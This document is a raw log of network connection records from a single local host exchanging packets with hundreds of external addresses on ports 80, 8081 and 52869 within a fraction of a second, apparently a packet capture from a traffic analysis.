Jul 20, 2024 23:01:02.784141064 CEST	80	51189	88.227.18.64	192.168.2.14
Jul 20, 2024 23:01:02.784146070 CEST	80	51189	88.59.236.199	192.168.2.14
Jul 20, 2024 23:01:02.784154892 CEST	80	51189	88.66.165.132	192.168.2.14
Jul 20, 2024 23:01:02.784158945 CEST	80	51189	88.150.241.255	192.168.2.14
Jul 20, 2024 23:01:02.784167051 CEST	80	51189	88.181.89.82	192.168.2.14
Jul 20, 2024 23:01:02.784171104 CEST	80	51189	88.2.115.204	192.168.2.14
Jul 20, 2024 23:01:02.784178972 CEST	80	51189	88.216.42.200	192.168.2.14
Jul 20, 2024 23:01:02.784183025 CEST	51189	80	192.168.2.14	88.172.43.17
Jul 20, 2024 23:01:02.784183025 CEST	80	51189	88.242.203.227	192.168.2.14
Jul 20, 2024 23:01:02.784183025 CEST	51189	80	192.168.2.14	88.103.9.128
Jul 20, 2024 23:01:02.784183025 CEST	51189	80	192.168.2.14	88.103.9.200
Jul 20, 2024 23:01:02.784183025 CEST	51189	80	192.168.2.14	88.47.125.186
Jul 20, 2024 23:01:02.784190893 CEST	80	51189	88.69.196.252	192.168.2.14
Jul 20, 2024 23:01:02.784204960 CEST	80	51189	88.69.209.2	192.168.2.14
Jul 20, 2024 23:01:02.784209967 CEST	80	51189	88.86.133.2	192.168.2.14
Jul 20, 2024 23:01:02.784210920 CEST	51189	80	192.168.2.14	88.58.165.5
Jul 20, 2024 23:01:02.784210920 CEST	51189	80	192.168.2.14	88.50.79.188
Jul 20, 2024 23:01:02.784210920 CEST	51189	80	192.168.2.14	88.66.165.132
Jul 20, 2024 23:01:02.784214020 CEST	80	51189	88.246.43.58	192.168.2.14
Jul 20, 2024 23:01:02.784218073 CEST	52869	47030	177.26.169.251	192.168.2.14
Jul 20, 2024 23:01:02.784229994 CEST	80	51189	88.108.246.4	192.168.2.14
Jul 20, 2024 23:01:02.784235001 CEST	80	51189	88.200.117.158	192.168.2.14
Jul 20, 2024 23:01:02.784239054 CEST	80	51189	88.152.93.207	192.168.2.14
Jul 20, 2024 23:01:02.784243107 CEST	80	51189	88.129.197.236	192.168.2.14
Jul 20, 2024 23:01:02.784251928 CEST	80	51189	88.150.95.7	192.168.2.14
Jul 20, 2024 23:01:02.784255981 CEST	80	51189	88.239.147.173	192.168.2.14
Jul 20, 2024 23:01:02.784265041 CEST	80	51189	88.216.81.106	192.168.2.14
Jul 20, 2024 23:01:02.784270048 CEST	51189	80	192.168.2.14	88.71.20.253
Jul 20, 2024 23:01:02.784270048 CEST	51189	80	192.168.2.14	88.86.133.2
Jul 20, 2024 23:01:02.784270048 CEST	51189	80	192.168.2.14	88.200.117.158
Jul 20, 2024 23:01:02.784272909 CEST	80	51189	88.15.251.194	192.168.2.14
Jul 20, 2024 23:01:02.784275055 CEST	51189	80	192.168.2.14	88.152.93.207
Jul 20, 2024 23:01:02.784276962 CEST	80	51189	88.181.100.39	192.168.2.14
Jul 20, 2024 23:01:02.784281015 CEST	80	51189	88.122.37.192	192.168.2.14
Jul 20, 2024 23:01:02.784291983 CEST	51189	80	192.168.2.14	88.216.81.106
Jul 20, 2024 23:01:02.784454107 CEST	51189	80	192.168.2.14	88.59.236.199
Jul 20, 2024 23:01:02.784454107 CEST	51189	80	192.168.2.14	88.150.241.255
Jul 20, 2024 23:01:02.784476042 CEST	51189	80	192.168.2.14	88.69.196.252
Jul 20, 2024 23:01:02.784476042 CEST	51189	80	192.168.2.14	88.246.43.58
Jul 20, 2024 23:01:02.784476042 CEST	51189	80	192.168.2.14	88.181.100.39
Jul 20, 2024 23:01:02.784593105 CEST	80	51189	88.177.58.8	192.168.2.14
Jul 20, 2024 23:01:02.784598112 CEST	80	51189	88.72.161.170	192.168.2.14
Jul 20, 2024 23:01:02.784606934 CEST	80	51189	88.190.203.108	192.168.2.14
Jul 20, 2024 23:01:02.784610987 CEST	80	51189	88.166.200.112	192.168.2.14
Jul 20, 2024 23:01:02.784615040 CEST	80	51189	88.146.3.237	192.168.2.14
Jul 20, 2024 23:01:02.784617901 CEST	80	51189	88.126.235.20	192.168.2.14
Jul 20, 2024 23:01:02.784621954 CEST	80	51189	88.89.19.136	192.168.2.14
Jul 20, 2024 23:01:02.784626007 CEST	80	51189	88.248.240.59	192.168.2.14
Jul 20, 2024 23:01:02.784635067 CEST	80	51189	88.115.140.142	192.168.2.14
Jul 20, 2024 23:01:02.784638882 CEST	80	51189	88.182.109.223	192.168.2.14
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.227.18.64
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.181.89.82
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.2.115.204
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.242.203.227
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.108.246.4
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.72.161.170
Jul 20, 2024 23:01:02.784662962 CEST	51189	80	192.168.2.14	88.126.235.20
Jul 20, 2024 23:01:02.784703016 CEST	51189	80	192.168.2.14	88.69.209.2
Jul 20, 2024 23:01:02.784703016 CEST	51189	80	192.168.2.14	88.129.197.236
Jul 20, 2024 23:01:02.784703016 CEST	51189	80	192.168.2.14	88.239.147.173
Jul 20, 2024 23:01:02.784703016 CEST	51189	80	192.168.2.14	88.89.19.136
Jul 20, 2024 23:01:02.784703016 CEST	51189	80	192.168.2.14	88.115.140.142
Jul 20, 2024 23:01:02.784729958 CEST	51189	80	192.168.2.14	88.216.42.200
Jul 20, 2024 23:01:02.784729958 CEST	51189	80	192.168.2.14	88.15.251.194
Jul 20, 2024 23:01:02.784729958 CEST	51189	80	192.168.2.14	88.122.37.192
Jul 20, 2024 23:01:02.784729958 CEST	51189	80	192.168.2.14	88.166.200.112
Jul 20, 2024 23:01:02.784781933 CEST	80	51189	88.146.223.51	192.168.2.14
Jul 20, 2024 23:01:02.784785986 CEST	80	51189	88.74.54.244	192.168.2.14
Jul 20, 2024 23:01:02.784795046 CEST	80	51189	88.171.40.89	192.168.2.14
Jul 20, 2024 23:01:02.784827948 CEST	51189	80	192.168.2.14	88.146.223.51
Jul 20, 2024 23:01:02.784970999 CEST	51189	80	192.168.2.14	88.150.95.7
Jul 20, 2024 23:01:02.784970999 CEST	51189	80	192.168.2.14	88.248.240.59
Jul 20, 2024 23:01:02.784970999 CEST	51189	80	192.168.2.14	88.182.109.223
Jul 20, 2024 23:01:02.784970999 CEST	51189	80	192.168.2.14	88.171.40.89
Jul 20, 2024 23:01:02.785152912 CEST	51189	80	192.168.2.14	88.177.58.8
Jul 20, 2024 23:01:02.785152912 CEST	51189	80	192.168.2.14	88.190.203.108
Jul 20, 2024 23:01:02.785196066 CEST	51189	80	192.168.2.14	88.146.3.237
Jul 20, 2024 23:01:02.785214901 CEST	80	51189	88.199.140.138	192.168.2.14
Jul 20, 2024 23:01:02.785222054 CEST	80	51189	88.195.63.204	192.168.2.14
Jul 20, 2024 23:01:02.785239935 CEST	80	51189	88.88.246.134	192.168.2.14
Jul 20, 2024 23:01:02.785243988 CEST	80	51189	88.113.172.94	192.168.2.14
Jul 20, 2024 23:01:02.785253048 CEST	80	51189	88.114.121.160	192.168.2.14
Jul 20, 2024 23:01:02.785258055 CEST	80	51189	88.180.119.239	192.168.2.14
Jul 20, 2024 23:01:02.785260916 CEST	80	51189	88.185.141.139	192.168.2.14
Jul 20, 2024 23:01:02.785263062 CEST	51189	80	192.168.2.14	88.199.140.138
Jul 20, 2024 23:01:02.785263062 CEST	51189	80	192.168.2.14	88.195.63.204
Jul 20, 2024 23:01:02.785274982 CEST	80	51189	88.96.153.185	192.168.2.14
Jul 20, 2024 23:01:02.785279036 CEST	80	51189	88.237.36.191	192.168.2.14
Jul 20, 2024 23:01:02.785286903 CEST	51189	80	192.168.2.14	88.113.172.94
Jul 20, 2024 23:01:02.785289049 CEST	80	51189	88.68.117.27	192.168.2.14
Jul 20, 2024 23:01:02.785290956 CEST	51189	80	192.168.2.14	88.180.119.239
Jul 20, 2024 23:01:02.785290956 CEST	51189	80	192.168.2.14	88.114.121.160
Jul 20, 2024 23:01:02.785290956 CEST	51189	80	192.168.2.14	88.88.246.134
Jul 20, 2024 23:01:02.785290956 CEST	51189	80	192.168.2.14	88.185.141.139
Jul 20, 2024 23:01:02.785293102 CEST	80	51189	88.55.196.37	192.168.2.14
Jul 20, 2024 23:01:02.785301924 CEST	80	51189	88.83.104.54	192.168.2.14
Jul 20, 2024 23:01:02.785305977 CEST	80	51189	88.124.198.13	192.168.2.14
Jul 20, 2024 23:01:02.785315037 CEST	80	51189	88.57.238.44	192.168.2.14
Jul 20, 2024 23:01:02.785316944 CEST	51189	80	192.168.2.14	88.55.196.37
Jul 20, 2024 23:01:02.785319090 CEST	80	51189	88.212.11.107	192.168.2.14
Jul 20, 2024 23:01:02.785326958 CEST	80	51189	88.3.46.125	192.168.2.14
Jul 20, 2024 23:01:02.785331011 CEST	80	51189	88.24.181.230	192.168.2.14
Jul 20, 2024 23:01:02.785340071 CEST	80	51189	88.124.73.142	192.168.2.14
Jul 20, 2024 23:01:02.785343885 CEST	80	51189	88.62.186.197	192.168.2.14
Jul 20, 2024 23:01:02.785346985 CEST	51189	80	192.168.2.14	88.57.238.44
Jul 20, 2024 23:01:02.785347939 CEST	51189	80	192.168.2.14	88.124.198.13
Jul 20, 2024 23:01:02.785347939 CEST	51189	80	192.168.2.14	88.212.11.107
Jul 20, 2024 23:01:02.785377026 CEST	51189	80	192.168.2.14	88.83.104.54
Jul 20, 2024 23:01:02.785406113 CEST	51189	80	192.168.2.14	88.124.73.142
Jul 20, 2024 23:01:02.785438061 CEST	51189	80	192.168.2.14	88.24.181.230
Jul 20, 2024 23:01:02.785463095 CEST	51189	80	192.168.2.14	88.3.46.125
Jul 20, 2024 23:01:02.785463095 CEST	51189	80	192.168.2.14	88.62.186.197
Jul 20, 2024 23:01:02.785505056 CEST	51189	80	192.168.2.14	88.68.117.27
Jul 20, 2024 23:01:02.785516024 CEST	80	51189	88.44.32.170	192.168.2.14
Jul 20, 2024 23:01:02.785521984 CEST	80	51189	88.97.194.71	192.168.2.14
Jul 20, 2024 23:01:02.785526037 CEST	80	51189	88.173.81.167	192.168.2.14
Jul 20, 2024 23:01:02.785547972 CEST	51189	80	192.168.2.14	88.97.194.71
Jul 20, 2024 23:01:02.785550117 CEST	51189	80	192.168.2.14	88.44.32.170
Jul 20, 2024 23:01:02.785567045 CEST	51189	80	192.168.2.14	88.237.36.191
Jul 20, 2024 23:01:02.785595894 CEST	51189	80	192.168.2.14	88.173.81.167
Jul 20, 2024 23:01:02.785636902 CEST	80	51189	88.100.27.107	192.168.2.14
Jul 20, 2024 23:01:02.785640955 CEST	80	51189	88.100.223.236	192.168.2.14
Jul 20, 2024 23:01:02.785650015 CEST	80	51189	88.88.45.221	192.168.2.14
Jul 20, 2024 23:01:02.785654068 CEST	80	51189	88.178.123.253	192.168.2.14
Jul 20, 2024 23:01:02.785661936 CEST	80	51189	88.46.61.15	192.168.2.14
Jul 20, 2024 23:01:02.785666943 CEST	80	51189	88.157.224.207	192.168.2.14
Jul 20, 2024 23:01:02.785675049 CEST	80	51189	88.56.47.134	192.168.2.14
Jul 20, 2024 23:01:02.785679102 CEST	80	51189	88.80.253.125	192.168.2.14
Jul 20, 2024 23:01:02.785681963 CEST	51189	80	192.168.2.14	88.100.223.236
Jul 20, 2024 23:01:02.785682917 CEST	80	51189	88.50.124.68	192.168.2.14
Jul 20, 2024 23:01:02.785687923 CEST	80	51189	88.2.101.45	192.168.2.14
Jul 20, 2024 23:01:02.785691977 CEST	80	51189	88.80.97.144	192.168.2.14
Jul 20, 2024 23:01:02.785693884 CEST	51189	80	192.168.2.14	88.88.45.221
Jul 20, 2024 23:01:02.785693884 CEST	51189	80	192.168.2.14	88.46.61.15
Jul 20, 2024 23:01:02.785696030 CEST	80	51189	88.16.249.255	192.168.2.14
Jul 20, 2024 23:01:02.785700083 CEST	80	51189	88.185.244.150	192.168.2.14
Jul 20, 2024 23:01:02.785708904 CEST	80	51189	88.75.56.74	192.168.2.14
Jul 20, 2024 23:01:02.785710096 CEST	51189	80	192.168.2.14	88.157.224.207
Jul 20, 2024 23:01:02.785712957 CEST	80	51189	88.250.108.83	192.168.2.14
Jul 20, 2024 23:01:02.785717010 CEST	80	51189	88.119.110.229	192.168.2.14
Jul 20, 2024 23:01:02.785726070 CEST	80	51189	88.190.242.207	192.168.2.14
Jul 20, 2024 23:01:02.785729885 CEST	80	51189	88.116.48.128	192.168.2.14
Jul 20, 2024 23:01:02.785732985 CEST	51189	80	192.168.2.14	88.100.27.107
Jul 20, 2024 23:01:02.785732985 CEST	51189	80	192.168.2.14	88.178.123.253
Jul 20, 2024 23:01:02.785732985 CEST	51189	80	192.168.2.14	88.2.101.45
Jul 20, 2024 23:01:02.785733938 CEST	80	51189	88.149.0.172	192.168.2.14
Jul 20, 2024 23:01:02.785734892 CEST	51189	80	192.168.2.14	88.80.97.144
Jul 20, 2024 23:01:02.785737038 CEST	51189	80	192.168.2.14	88.75.56.74
Jul 20, 2024 23:01:02.785737038 CEST	51189	80	192.168.2.14	88.16.249.255
Jul 20, 2024 23:01:02.785744905 CEST	51189	80	192.168.2.14	88.56.47.134
Jul 20, 2024 23:01:02.785767078 CEST	51189	80	192.168.2.14	88.50.124.68
Jul 20, 2024 23:01:02.785767078 CEST	51189	80	192.168.2.14	88.119.110.229
Jul 20, 2024 23:01:02.785788059 CEST	80	51189	88.49.32.255	192.168.2.14
Jul 20, 2024 23:01:02.785792112 CEST	80	51189	88.233.42.32	192.168.2.14
Jul 20, 2024 23:01:02.785800934 CEST	80	51189	88.69.2.48	192.168.2.14
Jul 20, 2024 23:01:02.785804987 CEST	80	51189	88.132.85.166	192.168.2.14
Jul 20, 2024 23:01:02.785849094 CEST	51189	80	192.168.2.14	88.74.54.244
Jul 20, 2024 23:01:02.785850048 CEST	51189	80	192.168.2.14	88.96.153.185
Jul 20, 2024 23:01:02.785856962 CEST	51189	80	192.168.2.14	88.185.244.150
Jul 20, 2024 23:01:02.785856962 CEST	51189	80	192.168.2.14	88.250.108.83
Jul 20, 2024 23:01:02.785896063 CEST	51189	80	192.168.2.14	88.233.42.32
Jul 20, 2024 23:01:02.785914898 CEST	51189	80	192.168.2.14	88.80.253.125
Jul 20, 2024 23:01:02.785914898 CEST	51189	80	192.168.2.14	88.190.242.207
Jul 20, 2024 23:01:02.785943031 CEST	51189	80	192.168.2.14	88.149.0.172
Jul 20, 2024 23:01:02.785943031 CEST	51189	80	192.168.2.14	88.69.2.48
Jul 20, 2024 23:01:02.785948038 CEST	80	51189	88.132.158.249	192.168.2.14
Jul 20, 2024 23:01:02.785953999 CEST	80	51189	88.159.86.239	192.168.2.14
Jul 20, 2024 23:01:02.785963058 CEST	80	51189	88.95.116.43	192.168.2.14
Jul 20, 2024 23:01:02.786015034 CEST	51189	80	192.168.2.14	88.132.158.249
Jul 20, 2024 23:01:02.786030054 CEST	51189	80	192.168.2.14	88.116.48.128
Jul 20, 2024 23:01:02.786030054 CEST	51189	80	192.168.2.14	88.49.32.255
Jul 20, 2024 23:01:02.786030054 CEST	51189	80	192.168.2.14	88.132.85.166
Jul 20, 2024 23:01:02.786030054 CEST	51189	80	192.168.2.14	88.159.86.239
Jul 20, 2024 23:01:02.786030054 CEST	51189	80	192.168.2.14	88.95.116.43
Jul 20, 2024 23:01:02.786041975 CEST	80	51189	88.215.110.106	192.168.2.14
Jul 20, 2024 23:01:02.786046028 CEST	80	51189	88.60.199.232	192.168.2.14
Jul 20, 2024 23:01:02.786056042 CEST	80	51189	88.238.81.124	192.168.2.14
Jul 20, 2024 23:01:02.786060095 CEST	80	51189	88.247.58.31	192.168.2.14
Jul 20, 2024 23:01:02.786068916 CEST	80	51189	88.22.10.54	192.168.2.14
Jul 20, 2024 23:01:02.786077023 CEST	80	51189	88.45.107.71	192.168.2.14
Jul 20, 2024 23:01:02.786148071 CEST	51189	80	192.168.2.14	88.60.199.232
Jul 20, 2024 23:01:02.786148071 CEST	51189	80	192.168.2.14	88.215.110.106
Jul 20, 2024 23:01:02.786148071 CEST	51189	80	192.168.2.14	88.238.81.124
Jul 20, 2024 23:01:02.786148071 CEST	51189	80	192.168.2.14	88.247.58.31
Jul 20, 2024 23:01:02.786148071 CEST	51189	80	192.168.2.14	88.45.107.71
Jul 20, 2024 23:01:02.786149025 CEST	51189	80	192.168.2.14	88.22.10.54
Jul 20, 2024 23:01:02.786231995 CEST	47030	52869	192.168.2.14	177.26.169.251
Jul 20, 2024 23:01:02.786422014 CEST	80	51189	88.201.25.148	192.168.2.14
Jul 20, 2024 23:01:02.786427021 CEST	80	51189	88.252.10.29	192.168.2.14
Jul 20, 2024 23:01:02.786462069 CEST	51189	80	192.168.2.14	88.201.25.148
Jul 20, 2024 23:01:02.786462069 CEST	51189	80	192.168.2.14	88.252.10.29
Jul 20, 2024 23:01:02.787431002 CEST	8081	55808	173.82.125.86	192.168.2.14
Jul 20, 2024 23:01:02.787470102 CEST	55808	8081	192.168.2.14	173.82.125.86
Jul 20, 2024 23:01:02.788237095 CEST	52869	43108	160.191.28.144	192.168.2.14
Jul 20, 2024 23:01:02.788285017 CEST	43108	52869	192.168.2.14	160.191.28.144
Jul 20, 2024 23:01:02.789002895 CEST	80	35804	88.161.150.191	192.168.2.14
Jul 20, 2024 23:01:02.789041042 CEST	35804	80	192.168.2.14	88.161.150.191
Jul 20, 2024 23:01:02.789328098 CEST	36598	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:02.789369106 CEST	45714	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:02.789484978 CEST	54374	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:02.789989948 CEST	8081	58516	62.143.254.184	192.168.2.14
Jul 20, 2024 23:01:02.792691946 CEST	41196	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:02.792834997 CEST	52869	43334	200.181.183.183	192.168.2.14
Jul 20, 2024 23:01:02.794231892 CEST	43334	52869	192.168.2.14	200.181.183.183
Jul 20, 2024 23:01:02.794233084 CEST	58516	8081	192.168.2.14	62.143.254.184
Jul 20, 2024 23:01:02.794363022 CEST	49344	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:02.794498920 CEST	80	36598	88.229.55.135	192.168.2.14
Jul 20, 2024 23:01:02.794596910 CEST	36598	80	192.168.2.14	88.229.55.135
Jul 20, 2024 23:01:02.794609070 CEST	8081	45714	170.27.7.23	192.168.2.14
Jul 20, 2024 23:01:02.794617891 CEST	52869	54374	174.69.237.0	192.168.2.14
Jul 20, 2024 23:01:02.794644117 CEST	45714	8081	192.168.2.14	170.27.7.23
Jul 20, 2024 23:01:02.794667959 CEST	54374	52869	192.168.2.14	174.69.237.0
Jul 20, 2024 23:01:02.794996023 CEST	60452	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:02.797837973 CEST	8081	41196	80.241.4.225	192.168.2.14
Jul 20, 2024 23:01:02.797913074 CEST	41196	8081	192.168.2.14	80.241.4.225
Jul 20, 2024 23:01:02.798171043 CEST	55296	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:02.798897028 CEST	47134	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:02.799773932 CEST	80	49344	88.155.163.139	192.168.2.14
Jul 20, 2024 23:01:02.799818993 CEST	49344	80	192.168.2.14	88.155.163.139
Jul 20, 2024 23:01:02.799946070 CEST	52869	60452	91.209.91.142	192.168.2.14
Jul 20, 2024 23:01:02.799985886 CEST	60452	52869	192.168.2.14	91.209.91.142
Jul 20, 2024 23:01:02.801090002 CEST	43344	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:02.803520918 CEST	8081	55296	35.162.162.67	192.168.2.14
Jul 20, 2024 23:01:02.803567886 CEST	55296	8081	192.168.2.14	35.162.162.67
Jul 20, 2024 23:01:02.803996086 CEST	44600	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:02.804584026 CEST	80	47134	88.14.171.132	192.168.2.14
Jul 20, 2024 23:01:02.804812908 CEST	47134	80	192.168.2.14	88.14.171.132
Jul 20, 2024 23:01:02.805283070 CEST	32806	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:02.806742907 CEST	52869	43344	202.140.60.188	192.168.2.14
Jul 20, 2024 23:01:02.806890965 CEST	48856	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:02.807501078 CEST	43344	52869	192.168.2.14	202.140.60.188
Jul 20, 2024 23:01:02.808504105 CEST	33934	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:02.808916092 CEST	41160	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:02.810029984 CEST	8081	44600	118.182.187.239	192.168.2.14
Jul 20, 2024 23:01:02.810080051 CEST	44600	8081	192.168.2.14	118.182.187.239
Jul 20, 2024 23:01:02.811614037 CEST	80	32806	88.103.102.179	192.168.2.14
Jul 20, 2024 23:01:02.811670065 CEST	32806	80	192.168.2.14	88.103.102.179
Jul 20, 2024 23:01:02.812033892 CEST	52869	48856	66.247.97.52	192.168.2.14
Jul 20, 2024 23:01:02.812071085 CEST	48856	52869	192.168.2.14	66.247.97.52
Jul 20, 2024 23:01:02.812083006 CEST	48354	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:02.812664986 CEST	36138	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:02.813661098 CEST	8081	33934	47.218.62.240	192.168.2.14
Jul 20, 2024 23:01:02.813728094 CEST	33934	8081	192.168.2.14	47.218.62.240
Jul 20, 2024 23:01:02.814022064 CEST	80	41160	88.105.109.160	192.168.2.14
Jul 20, 2024 23:01:02.814060926 CEST	41160	80	192.168.2.14	88.105.109.160
Jul 20, 2024 23:01:02.814126015 CEST	58340	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:02.817476988 CEST	33754	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:02.817862034 CEST	52869	48354	5.217.173.216	192.168.2.14
Jul 20, 2024 23:01:02.817900896 CEST	48354	52869	192.168.2.14	5.217.173.216
Jul 20, 2024 23:01:02.818264008 CEST	8081	36138	72.130.206.3	192.168.2.14
Jul 20, 2024 23:01:02.818294048 CEST	36138	8081	192.168.2.14	72.130.206.3
Jul 20, 2024 23:01:02.818397999 CEST	42018	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:02.818759918 CEST	57498	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:02.819998026 CEST	80	58340	88.22.81.89	192.168.2.14
Jul 20, 2024 23:01:02.820050955 CEST	58340	80	192.168.2.14	88.22.81.89
Jul 20, 2024 23:01:02.822650909 CEST	55102	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:02.823080063 CEST	33816	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:02.823088884 CEST	52869	33754	130.69.123.40	192.168.2.14
Jul 20, 2024 23:01:02.823123932 CEST	33754	52869	192.168.2.14	130.69.123.40
Jul 20, 2024 23:01:02.823926926 CEST	33506	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:02.824011087 CEST	8081	42018	5.247.9.201	192.168.2.14
Jul 20, 2024 23:01:02.824053049 CEST	42018	8081	192.168.2.14	5.247.9.201
Jul 20, 2024 23:01:02.824323893 CEST	80	57498	88.28.160.165	192.168.2.14
Jul 20, 2024 23:01:02.824388027 CEST	57498	80	192.168.2.14	88.28.160.165
Jul 20, 2024 23:01:02.827830076 CEST	8081	55102	98.159.184.28	192.168.2.14
Jul 20, 2024 23:01:02.827862978 CEST	55102	8081	192.168.2.14	98.159.184.28
Jul 20, 2024 23:01:02.827876091 CEST	52869	33816	101.191.129.126	192.168.2.14
Jul 20, 2024 23:01:02.827919960 CEST	43610	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:02.827923059 CEST	33816	52869	192.168.2.14	101.191.129.126
Jul 20, 2024 23:01:02.828655005 CEST	36984	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:02.828783989 CEST	59540	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:02.828923941 CEST	80	33506	88.235.97.216	192.168.2.14
Jul 20, 2024 23:01:02.828982115 CEST	33506	80	192.168.2.14	88.235.97.216
Jul 20, 2024 23:01:02.829416990 CEST	52869	56082	211.192.130.220	192.168.2.14
Jul 20, 2024 23:01:02.830224991 CEST	56082	52869	192.168.2.14	211.192.130.220
Jul 20, 2024 23:01:02.832917929 CEST	8081	43610	63.216.123.172	192.168.2.14
Jul 20, 2024 23:01:02.832952976 CEST	43610	8081	192.168.2.14	63.216.123.172
Jul 20, 2024 23:01:02.833508968 CEST	80	36984	88.248.106.214	192.168.2.14
Jul 20, 2024 23:01:02.833545923 CEST	36984	80	192.168.2.14	88.248.106.214
Jul 20, 2024 23:01:02.833684921 CEST	41514	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:02.833830118 CEST	52869	59540	128.98.160.122	192.168.2.14
Jul 20, 2024 23:01:02.833878040 CEST	59540	52869	192.168.2.14	128.98.160.122
Jul 20, 2024 23:01:02.835025072 CEST	50394	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:02.835362911 CEST	47482	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:02.838619947 CEST	59048	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:02.838732004 CEST	8081	41514	175.144.253.78	192.168.2.14
Jul 20, 2024 23:01:02.838768959 CEST	41514	8081	192.168.2.14	175.144.253.78
Jul 20, 2024 23:01:02.839257956 CEST	56288	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:02.839901924 CEST	80	50394	88.133.23.36	192.168.2.14
Jul 20, 2024 23:01:02.839956999 CEST	50394	80	192.168.2.14	88.133.23.36
Jul 20, 2024 23:01:02.840640068 CEST	46444	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:02.841408968 CEST	52869	47482	118.44.218.190	192.168.2.14
Jul 20, 2024 23:01:02.841447115 CEST	47482	52869	192.168.2.14	118.44.218.190
Jul 20, 2024 23:01:02.842690945 CEST	35242	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:02.843502045 CEST	35544	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:02.843955994 CEST	8081	59048	87.138.122.104	192.168.2.14
Jul 20, 2024 23:01:02.843997955 CEST	59048	8081	192.168.2.14	87.138.122.104
Jul 20, 2024 23:01:02.844801903 CEST	35304	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:02.845210075 CEST	80	56288	88.155.104.179	192.168.2.14
Jul 20, 2024 23:01:02.845252037 CEST	56288	80	192.168.2.14	88.155.104.179
Jul 20, 2024 23:01:02.846524000 CEST	52869	46444	8.55.90.119	192.168.2.14
Jul 20, 2024 23:01:02.846555948 CEST	46444	52869	192.168.2.14	8.55.90.119
Jul 20, 2024 23:01:02.847712994 CEST	44480	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:02.848073006 CEST	55864	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:02.848112106 CEST	52869	58474	177.133.134.55	192.168.2.14
Jul 20, 2024 23:01:02.848117113 CEST	8081	35242	82.129.138.8	192.168.2.14
Jul 20, 2024 23:01:02.848154068 CEST	35242	8081	192.168.2.14	82.129.138.8
Jul 20, 2024 23:01:02.849029064 CEST	80	35544	88.101.188.49	192.168.2.14
Jul 20, 2024 23:01:02.849092007 CEST	35544	80	192.168.2.14	88.101.188.49
Jul 20, 2024 23:01:02.850241899 CEST	52869	35304	162.57.74.72	192.168.2.14
Jul 20, 2024 23:01:02.850280046 CEST	35304	52869	192.168.2.14	162.57.74.72
Jul 20, 2024 23:01:02.851303101 CEST	43066	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:02.852098942 CEST	33604	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:02.852770090 CEST	8081	44480	1.93.149.236	192.168.2.14
Jul 20, 2024 23:01:02.852868080 CEST	44480	8081	192.168.2.14	1.93.149.236
Jul 20, 2024 23:01:02.853651047 CEST	80	55864	88.217.70.97	192.168.2.14
Jul 20, 2024 23:01:02.853701115 CEST	55864	80	192.168.2.14	88.217.70.97
Jul 20, 2024 23:01:02.853746891 CEST	38702	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:02.854367018 CEST	58474	52869	192.168.2.14	177.133.134.55
Jul 20, 2024 23:01:02.855088949 CEST	52869	60522	121.241.252.236	192.168.2.14
Jul 20, 2024 23:01:02.856442928 CEST	52869	43066	180.39.180.182	192.168.2.14
Jul 20, 2024 23:01:02.856595993 CEST	43066	52869	192.168.2.14	180.39.180.182
Jul 20, 2024 23:01:02.856995106 CEST	53244	52869	192.168.2.14	65.188.53.189
Jul 20, 2024 23:01:02.857556105 CEST	35610	8081	192.168.2.14	173.159.186.163
Jul 20, 2024 23:01:02.857929945 CEST	8081	33604	133.138.30.82	192.168.2.14
Jul 20, 2024 23:01:02.857980013 CEST	33604	8081	192.168.2.14	133.138.30.82
Jul 20, 2024 23:01:02.858234882 CEST	60522	52869	192.168.2.14	121.241.252.236
Jul 20, 2024 23:01:02.858234882 CEST	46806	80	192.168.2.14	88.224.228.131
Jul 20, 2024 23:01:02.859323978 CEST	80	38702	88.105.31.235	192.168.2.14
Jul 20, 2024 23:01:02.859391928 CEST	38702	80	192.168.2.14	88.105.31.235
Jul 20, 2024 23:01:02.859683990 CEST	52869	57236	82.44.225.133	192.168.2.14
